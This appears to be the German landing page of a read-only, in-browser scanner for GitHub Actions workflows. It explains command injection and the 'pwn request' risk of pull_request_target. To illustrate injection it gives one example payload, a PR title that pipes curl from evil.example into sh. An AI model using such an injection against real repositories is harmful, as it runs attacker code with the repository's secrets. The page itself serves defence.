Text & Dokumente
Zahlen & Berechnung
Daten & Formate
Sicherheit
Entwicklung & DevOps
Künstliche Intelligenz
Finanzen
Gesundheit & Wohlbefinden
Produktivität
Spiele & Unterhaltung
Multimedia & Design
Unternehmen
Bedienungsanleitung
Was geprüft wird

Die Workflows in .github/workflows/*.yml: versteckte Anweisungen in einem PR-Titel oder einem Kommentar, die sich in einen run:-Schritt einschleichen; das Muster pull_request_target + Checkout des Codes eines Forks, und sein Cousin workflow_run mit den Artefakten des auslösenden Runs; Schreibzugriffe auf GITHUB_ENV mit einem privilegierten Trigger; das Token, das actions/checkout auf der Festplatte hinterlässt; secrets: inherit und toJSON(secrets); Workflows ohne permissions:; Drittanbieter-Actions, die nicht auf einen Commit gepinnt sind, und von Hand geschriebene Secrets. Liest nur: ruft weder die GitHub-API auf noch führt es etwas aus.

Command-Injection, kurz erklärt

Der Titel einer PR, der Text eines Issues oder der Name eines Branches wird von der Person geschrieben, die die PR öffnet: Es ist freier Text. Wenn ein run:-Schritt ihn unverändert in Anführungszeichen einsetzt, hört ein Titel wie "; curl evil.example | sh # auf, Text zu sein, und wird zu dem Befehl, der ausgeführt wird.

Warum der „Pwn Request“ so gefährlich ist

pull_request_target existiert, um PR-Daten mit den Berechtigungen des Basis-Repositorys zu lesen — gedacht dafür, den Code der PR NICHT auszuführen. Wenn ein Schritt trotzdem ein checkout dieses Codes macht, kann jeder, der eine PR öffnet (auch aus einem Fork, ohne vorherigen Zugriff), damit ausführen, was er will – mit den Secrets des Repositorys.

Gefundene Secrets

Um einen verdächtigen Schlüssel zu prüfen, bevor du ihn woanders einfügst, nutze „Kann ich das einfügen?“.

GitHub-Actions-PrüferCommand Injection, unsicheres pull_request_target, ungepinnte Actions
GitHub-Actions-PrüferCommand-Injection, unsicheres pull_request_target, ungepinnte Actions und Secrets in .github/workflows/. 100 % in deinem Browser
Lege hier das Projekt oder die .yml-Dateien aus .github/workflows/ ab (oder klicke, um sie auszuwählen)

Liest die Workflows, führt nichts aus und ruft nie die GitHub-API auf. Sucht nach versteckten Anweisungen in einem PR-Titel, die sich in einen Shell-Schritt einschleichen, nach dem Muster pull_request_target + Checkout eines Forks, nach Actions von Drittanbietern, die nicht an einen Commit gepinnt sind, und nach handgeschriebenen Secrets.